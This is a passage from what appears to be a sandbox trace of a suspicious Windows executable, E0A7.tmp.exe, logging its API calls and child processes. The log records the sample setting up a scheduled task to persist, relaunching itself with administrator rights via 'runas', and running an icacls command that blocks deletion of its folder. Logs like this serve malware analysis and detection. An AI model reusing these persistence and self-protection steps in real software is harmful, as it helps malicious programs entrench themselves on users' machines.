ppActions=0x18e960 | out: ppActions=0x18e960*=0x27409e0) returned 0x0 [0085.574] IActionCollection:Create (in: This=0x27409e0, Type=0, ppAction=0x18e94c | out: ppAction=0x18e94c*=0x2740ca0) returned 0x0 [0085.578] IUnknown:Release (This=0x27409e0) returned 0x1 [0085.578] IUnknown:QueryInterface (in: This=0x2740ca0, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18e968 | out: ppvObject=0x18e968*=0x2740ca0) returned 0x0 [0085.578] IUnknown:Release (This=0x2740ca0) returned 0x2 [0085.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabcb0 [0085.578] IExecAction:put_Path (This=0x2740ca0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe") returned 0x0 [0085.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabcb0 | out: hHeap=0x660000) returned 1 [0085.578] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabcb0 [0085.578] IExecAction:put_Arguments (This=0x2740ca0, Arguments="--Task") returned 0x0 [0085.578] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabcb0 | out: hHeap=0x660000) returned 1 [0085.578] IUnknown:Release (This=0x2740ca0) returned 0x1 [0085.579] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabcb0 [0085.579] ITaskFolder:RegisterTaskDefinition (in: This=0x93ff98, Path="Time Trigger Task", pDefinition=0x2740968, flags=6, UserId=0x18e408*(varType=0x0, wReserved1=0x2fc, wReserved2=0xe91c, wReserved3=0x18, varVal1=0x41720b, varVal2=0x660000), password=0x18e418*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18e42c*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xc8), ppTask=0x18e934 | out: ppTask=0x18e934*=0x2740d10) returned 0x0 [0085.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabcb0 | out: hHeap=0x660000) returned 1 [0085.970] TaskScheduler:IUnknown:Release (This=0x93ff98) returned 0x0 [0085.970] TaskScheduler:IUnknown:Release (This=0x2740968) returned 0x0 [0085.970] IUnknown:Release (This=0x2740d10) returned 0x0 [0085.970] CoUninitialize () [0085.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2f8aa38 | out: hHeap=0x660000) returned 1 [0085.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2f8a970 | out: hHeap=0x660000) returned 1 [0085.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2f8a8a8 | out: hHeap=0x660000) returned 1 [0085.971] GetVersion () returned 0x1db10106 [0085.971] lstrcpyW (in: lpString1=0x18eea0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0085.971] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0085.971] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0085.971] ShellExecuteExW (in: pExecInfo=0x18eb5c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18eb5c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0086.375] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2f919a0 | out: hHeap=0x660000) returned 1 [0086.375] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2f8a7e0 | out: hHeap=0x660000) returned 1 [0086.375] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x734fe8 | out: hHeap=0x660000) returned 1 [0086.376] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x733b40 | out: hHeap=0x660000) returned 1 [0086.376] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x702500 | out: hHeap=0x660000) returned 1 [0086.376] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fb89b0 | out: hHeap=0x660000) returned 1 [0086.376] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x73b270 | out: hHeap=0x660000) returned 1 [0086.376] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x704f48 | out: hHeap=0x660000) returned 1 [0086.378] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x704740 | out: hHeap=0x660000) returned 1 [0086.378] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fe40 | out: phModule=0x18fe40) returned 0 [0086.378] ExitProcess (uExitCode=0x0) [0086.380] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fea370 | out: hHeap=0x660000) returned 1 [0086.381] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7030c8 | out: hHeap=0x660000) returned 1 [0086.397] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x8f8 Thread: id = 3 os_tid = 0x8fc Thread: id = 4 os_tid = 0x900 Thread: id = 5 os_tid = 0x904 Thread: id = 6 os_tid = 0x908 Thread: id = 7 os_tid = 0x950 Thread: id = 21 os_tid = 0xa40 Thread: id = 22 os_tid = 0xa44 Thread: id = 31 os_tid = 0xa54 Thread: id = 32 os_tid = 0xa58 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x8e8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 8 os_tid = 0x91c Thread: id = 9 os_tid = 0x80c Thread: id = 10 os_tid = 0x76c Thread: id = 11 os_tid = 0x74c Thread: id = 12 os_tid = 0x72c Thread: id = 13 os_tid = 0x71c Thread: id = 14 os_tid = 0x718 Thread: id = 15 os_tid = 0x638 Thread: id = 16 os_tid = 0x154 Thread: id = 17 os_tid = 0x150 Thread: id = 18 os_tid = 0x12c Thread: id = 19 os_tid = 0x120 Thread: id = 20 os_tid = 0x3fc Thread: id = 107 os_tid = 0xb9c Thread: id = 108 os_tid = 0xbbc Thread: id = 112 os_tid = 0xbfc Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x3cafe000" os_pid = "0xa48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8e8" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 23 os_tid = 0xa4c Thread: id = 24 os_tid = 0xa50 Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e7f000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x8e8" cmd_line = "taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x824 Thread: id = 26 os_tid = 0x578 Thread: id = 27 os_tid = 0x574 Thread: id = 28 os_tid = 0x520 Thread: id = 29 os_tid = 0x514 Thread: id = 30 os_tid = 0x510 Thread: id = 57 os_tid = 0xb18 Process: id = "5" image_name = "e0a7.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe" page_root = "0x3d9f7000" os_pid = "0xa5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8e8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 33 os_tid = 0xa60 [0086.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xe7e25030, dwHighDateTime=0x1d50371)) [0086.529] GetCurrentProcessId () returned 0xa5c [0086.529] GetCurrentThreadId () returned 0xa60 [0086.529] GetTickCount () returned 0x21ffe [0086.529] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=20639381767) returned 1 [0086.547] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0086.547] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1e60000 [0086.549] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.549] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0086.549] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0086.549] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0086.549] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0086.549] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.549] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0086.549] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.549] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0086.550] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.550] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0086.550] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.550] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0086.550] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.550] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0086.550] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.550] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0086.551] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.551] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0086.554] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.554] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0086.554] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x214) returned 0x1e607d0 [0086.554] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.554] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0086.554] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0086.554] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0086.555] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0086.555] GetCurrentThreadId () returned 0xa60 [0086.555] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0086.555] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x800) returned 0x1e609f0 [0086.555] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0086.555] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0086.555] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0086.555] SetHandleCount (uNumber=0x20) returned 0x20 [0086.555] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0086.555] GetEnvironmentStringsW () returned 0x691de0* [0086.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0086.555] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x0, Size=0x565) returned 0x1e611f8 [0086.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1e611f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0086.555] FreeEnvironmentStringsW (penv=0x691de0) returned 1 [0086.556] GetLastError () returned 0x0 [0086.556] SetLastError (dwErrCode=0x0) [0086.556] GetLastError () returned 0x0 [0086.556] SetLastError (dwErrCode=0x0) [0086.556] GetLastError () returned 0x0 [0086.556] SetLastError (dwErrCode=0x0) [0086.556] GetACP () returned 0x4e4 [0086.556] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x0, Size=0x220) returned 0x1e61768 [0086.556] GetLastError () returned 0x0 [0086.556] SetLastError (dwErrCode=0x0) [0086.557] IsValidCodePage (CodePage=0x4e4) returned 1 [0086.557] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0086.557] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0086.557] GetLastError () returned 0x0 [0086.557] SetLastError (dwErrCode=0x0) [0086.557] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0086.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0086.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0086.557] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0086.557] GetLastError () returned 0x0 [0086.557] SetLastError (dwErrCode=0x0) [0086.557] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0086.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0086.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ繐⯤潛@Ā") returned 256 [0086.557] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ繐⯤潛@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0086.557] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ繐⯤潛@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0086.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\